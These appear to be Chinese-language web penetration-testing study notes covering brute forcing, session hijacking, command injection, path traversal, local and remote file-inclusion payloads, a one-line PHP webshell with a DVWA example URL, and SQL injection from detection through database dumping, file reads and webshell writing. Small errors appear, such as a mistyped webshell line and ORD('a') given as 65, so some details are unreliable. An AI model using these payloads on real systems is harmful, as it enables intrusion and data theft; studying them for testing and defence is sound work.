一、前提:
漏洞挖掘原則
所有變量
所有頭
cookie中的變量
逐個變量刪除
漏洞的本質
數據與指令的混淆
對用戶輸入信息過濾不嚴判斷失誤,誤將數據當指令
二、經典漏洞:
1、身份認證
常用弱口令/基於字典的密碼爆破
鎖定賬號
信息收集
手機號(通常有以手機號為用戶名的)
密碼錯誤提示信息(用戶名正確,輸入錯誤密碼看返回什么,再輸入錯誤用戶名和密碼看返回什么,如果返回信息不同則可以針對一個正確的用戶名爆破)
密碼嗅探
會話sessionID(Cookies)
Xss/cookie importer (跨站獲取cookie)
sessionID in URL (有些網站可能會將sessionID包含在URL中)
嗅探
SessionID 長期不變/永久不變 (網站cookie沒有過期機制)
sessionID 生成算法
sequencer
私有算法
預判下一次登陸時生成的sessionID
登出后返回測試
2、命令執行漏洞
應用程序開發者直接調用操作系統命令,並沒有對用戶輸入數據進行過濾。那么用戶可以直接構造操作系統命令作為數據發送過去
構造命令時可能會用到的手法:“;,&&,&,||,|”
例如在表單中輸入一個ip地址系統會將ping這個IP的結果返回,那么后台很有可能是調用了系統命令ping,此時可以嘗試在表單中輸入'1.1.1.1;ls',如果系統過濾不嚴則后面的ls也將被執行
3、目錄遍歷/文件包含漏洞(注意:就算apache是用root執行的,但是在對操作系統文件進行讀寫的時候apache還是會調用一個"www-data"賬號去讀寫)
這兩種漏洞其實差不多,都是可以讀取/var/www/目錄以外的文件,比如/etc/passwd。
如果硬要細扣字眼的話,目錄遍歷是只能遍歷主機本地的目錄,文件包含除了可以包含主機本地的目錄外還可以包含遠程主機上的文件(此時可以將遠程主機上的木馬文件包含進來,讓目標主機執行)
注意:1、當URL中包含有‘?變量=XXX’字眼時非常有可能是程序通過include將文件XXX包含進來了,此處就可以測試是否有文件包含漏洞
2、有部分程序會將被包含的文件寫在cookie中,比如'cookie: path=XXX',所有不管是URL還是Cookie還是其他任何地方,只要有變量的地方就都有可能存在文件包含漏洞
本地文件包含漏洞危害:
1)、查看本地文件
2)、任意代碼執行(試想: 每次WEB連接server都會將其頭部截取下來存入日志文件,那么只需要將惡意代碼寫入頭部那么日志文件就會包含有惡意代碼,然后通過文件包含漏洞訪問該日志文件也就執行了該惡意代碼)
遠程文件包含漏洞:
出現概率少於本地文件包含漏洞,但更容易被利用(可以將遠端的一個webshell包含進去,主機即執行了該webshell)
經典測試方法
?file=../../../../../../etc/passwd
?page=file:///etc/passwd ====>file://類似於http://,訪問系統文件時使用file,需要注意的是file://后面跟的是絕對路徑
?home=main.cgi =======>/var/www/下面的main.cgi可能包含有一些源碼信息
?page=http://www.a.com/1.php =====>遠程文件包含
編碼繞過字符過濾(有些程序在包含一個文件時可能會在后面自動加后綴,比如將我們的../../etc/passwd變成../../etc/passwd.php)
此時可以使用'%00'來繞過(%00是null的url編碼,%00后面的將不再執行)
文件包含字典(kali):
/usr/share/wfuzz/wordlist/Injections
4、文件上傳漏洞
原理:通過web提供的正常上傳服務直接上傳webshell,然后訪問該webshell讓服務器執行它
一句話webshell代碼(具備執行系統命令且輸出結果功能):<?php echo shell exec($_GET['cmd']):?>
上傳該一句話webshell后通過在URL中加入參數讓webshell把這個參數當系統命令去執行,例:
http://172.20.163.44/dvwa/hackable/uploads/44.php?cmd=pwd ====> 44.php為webshell名字,cmd為webshell變量名,pwd為要執行的系統命令
通常web后台程序會通過各種方式檢測上傳內容(例如檢測擴展名、檢測文件頭等),所以需要對上傳的webshell做相應的修改才可以成功利用該漏洞
注意:如果上傳的webshell為一個靜態文件的后綴名時,apache等web程序可能會將其理解為一個靜態文件,當你訪問它的時候不是傳值給它而是將它打開返回
難點:不知道上傳后的准確目錄;如果上傳后的目錄沒有執行權限就歇菜了
5、SQL注入(只要有一處sql注入漏洞則黑客就有可能利用聯合查詢構造各種sql查詢語句來查詢整個數據庫,甚至可以利用一些sql內置函數對操作系統進行操縱)
注意:不光表單中可能存在sql注入,只要是有變量的地方都有肯能存在sql注入,例如:cookie、user-agent等
服務器端程序將用戶輸入參數作為查詢條件,直接拼接SQL語句,並將查詢結果返回給客戶端瀏覽器
用戶登錄判斷程序后台可能會用到的SQL語句:
select * from users where user='用戶輸入的用戶名' and password='用戶輸入的密碼'
針對這種情況可以嘗試的惡意sql語句(最后讓上面這句話變成下面這樣):
select * from users where user='用戶輸入的用戶名' and password='' or '1=1'
檢測sql注入漏洞方式:
1、基於報錯的檢測方法(輸入特殊字符看是否會返回sql語法報錯,如果返回語法報錯,則說明后台程序將我們輸入的內容帶入sql語句執行了,也就說明此處存在sql注入漏洞):
例:' " % ()
2、基於布爾的檢測(當構造一個為真的sql注入語句時正常顯示,構造一個為假的sql注入語句時顯示錯誤,則說明此處存在sql注入漏洞):
例: 1' and '1'='1 / 1' and '1 (真)
1' and '1'='2 / 1' and '0 (假)
3、基於時間的檢測
例:select name,passwd from users where id = '' and (select * from (select(sleep(10)))a)-- ;
如果存在sql語句則會等待10秒再返回結果(即將' and (select * from (select(sleep(10)))a)-- 的睡眠sql語句執行了)
4、基於UNION聯合查詢檢測
適用於通過循環直接輸出聯合查詢結果,否則只顯示第一項結果
5、基於堆疊查詢的檢測
用‘;’堆疊多個查詢語句
適用於非select的數據修改、刪除的操作
在已經確定有sql注入漏洞后要做的事:
1)、查詢數據:
1、探測此處web后台程序調用了多少列
構造order by 1,2,3,4...語句,by后面的數字逐漸增大,超出調用列范圍后將報錯,利用此方法探測web后台程序在該sql語句中調用了多少列。例:
select name,passwd from users where id = '' order by 50--# =====>注意:'-- '(--后面要跟一個空格)或'#'都表示注釋符,可以將后面的內容注釋掉
2、聯合查詢
select name,passwd from users where id = '' union select 1,2-- ====>通過這個可以調用一些內置函數來獲取更多信息,以及看到name,passwd分別對應的是第幾列
select name,passwd from users where id = '' union select user(),version()-- =====>通過sql內置函數user()、version()可以分別將數據庫的用戶名和版本號暴出來
常用sql內置函數:
顯示DB用戶:user()
顯示DB版本:version()
顯示當前數據庫:database()
全局函數:@@datadir #顯示數據庫路徑
@@hostname #顯示操作系統級別的主機名
@@version #顯示DB版本
@@version_compile_os #顯示操作系統信息
**********如果該web程序是以數據庫的root賬戶登錄數據庫的話可以做以下操作************
如果是mysql數據庫的話,information_schema這個數據庫中存放了整個mysql數據庫的結構信息,可以通過查詢該表(查詢該表必須具有數據庫的root權限才可以)得到整個數據庫中包含有哪些庫,分別又包含有哪些表,具體需要構造的sql語句如下
select name,passwd from users where id = '' union select table_name,table_schema from information_schema.tables;
也可以通過構造以下sql語句來查詢每個庫中總共有幾個表
select name,passwd from users where id = '' union select table_schema,count(*) from information_schema.tables group by table_schema;
也可以通過構造以下sql語句來查詢具體每個表中有什么列(例如查詢'assets'表中的列名)
select name,passwd from users where id = '' union select table_name,column_name from information_schema.columns where table_name='assets';
也可以通過構造以下sql語句來查詢具體某個表中每個列的值(查詢log_analysis庫中assets表中id、ip列的值)
select name,passwd from users where id = '' union select id,ip from log_analysis.assets;
假如說已經找到用戶名和密碼的列可以用以下方法將用戶名和密碼以 user:password 的形式輸出出來(方便查看)
select name,passwd from users where id = '' union select null,concat(user,0x3a,passwd)from log_analysis.assets; ====>0x3a代表':'
**********如果該web程序不是以數據庫的root賬戶登錄數據庫的話可以做以下操作************
猜解列名(本質還是暴力破解):
猜解當前表的列名:
select name,passwd from users where id = '' and '要猜解的列名' is not null; ====>如果要該表內存在被猜解列名則返回正常(也可能返回為空),如果不存在則返回異常(報錯)
猜解當前表的表名:
select name,passwd from users where id = '' and '要猜解的表名.被查詢表中肯定有的列' is not null;
猜解當前表的庫名:
select name,passwd from users where id = '' and '要猜解的庫名.當前表名.被查詢表中肯定有的列' is not null;
2)、對系統文件進行操作:
1、讀取文件
select name,passwd from users where id = '' union select null,load_file('/etc/passwd'); ====>load_file()函數為sql內置讀取系統文件函數
2、寫入文件(注意:當指定寫入路徑時很多時候會因為訪問該目錄因權限問題被拒絕,那是因為就算你是用root執行的mysql,但是mysql調用任何對操作系統產生影響的功能時還是會自己用一個叫"mysql"的賬號去寫入)
select name,passwd from users where id = '' union select null,"文件內容(此處可以寫一句話木馬代碼)" into dumpfile "1.php";
注意:如果不指定路徑默認傳入/var/lib/mysql/1.php路徑,但是/var/lib/mysql/目錄又不是web目錄,就算把馬上傳上去了也不能通過web運行該目錄下的文件。此時就可以配合文件包含漏洞來操作,找一個mysql、web
賬戶都可以讀寫的目錄,然后將馬上傳至這個目錄,這樣利用文件包含漏洞就可以執行該木馬了。在linux具有"drwxrwxrw"權限的最典型目錄是"/tmp "
3、下載數據庫
因為可能讀取的數據庫數據非常多,靠web網頁形式顯示不人性化,所以可以考慮利用sql注入將查詢到的內容輸出到他服務器上的"/tmp"目錄下,再利用文件包含漏洞將"/tmp"目錄下相應的文件下載下來。
(如果沒有文件包含漏洞,則只能用網頁形式分次查詢了,比如每次查詢1W條,此時如果量特別大可以寫個爬蟲讓爬蟲自動去查詢並解析敏感數據)
select name,passwd from users where id = '' union select null,null into outfile "/tmp/1.db";
SQL盲注(當程序不會返回數據庫報錯信息時就需要用盲注了):
當程序員隱藏了數據庫內建報錯信息,替換為通用的錯誤提示,sql注入將無法依據報錯信息判斷注入語句的執行結果,即盲注。
盲注思路:
1、既然沒有報錯信息那就基於真假進行注入判斷
構造基於真假盲注sql語句:
select name,passwd from users where id = '1' and 1=1; ====>真
select name,passwd from users where id = '1' and 1=2; ====>假
如果通過構造“真”(1' and 1=1)sql語句和只輸入正常數據(‘1’)返回的值相同,則說明存在sql注入(把" ' and 1=1"也執行了)
如果通過構造“假”(1' and 1=2)sql語句和構造“真”(1' and 1=1)sql語句發現返回的值都一樣,則不存在sql注入(web程序將“真”sql語句也當成了“假”說明web程序將惡意構造的" ' 1=1"當成了不可識別因素)
2、基於時間進行盲注檢測
構造基於時間盲注sql語句:
select name,passwd from users where id = '' and (select * from (select(sleep(10)))a)-- ;
如果存在sql語句則會等待10秒再返回結果(即將' and (select * from (select(sleep(10)))a)-- 的睡眠sql語句執行了)
拔高:
如果提交表單后返回的是一個圖片,那該怎樣才能根據返回數據庫里的敏感數據呢? 二進制推導!!!
例:
輸入一個“真”sql語句返回一個香皂
輸入一個“假”sql語句返回一個蘋果
select imge from users where name = '香皂' and ORD(MID(version(),1,1))&1>0;
ORD(MID(select passwd from user,1,1))&1>0 解釋:
MID():這個函數用來截取字符串,例(MID('abcd',2,4) == 'bcd')
ORD():將字符轉換成ASCII碼再將ASCII碼轉換成8位二進制數,例(ORD(a) == a->65->01000001)
&:取二進制數的第幾位(1代表從右數第一位,2代表從右數第2位,4代表從右數第3位。。。128代表從右數第8位)
通過以上原理可知:返回'香皂'為1,返回'蘋果'為0
逐次增大&后面的數即可推導出MID()給出的字符的ASCII碼對應的二進制,逐次增大MID()中后兩位參數即可推導出原始字符串。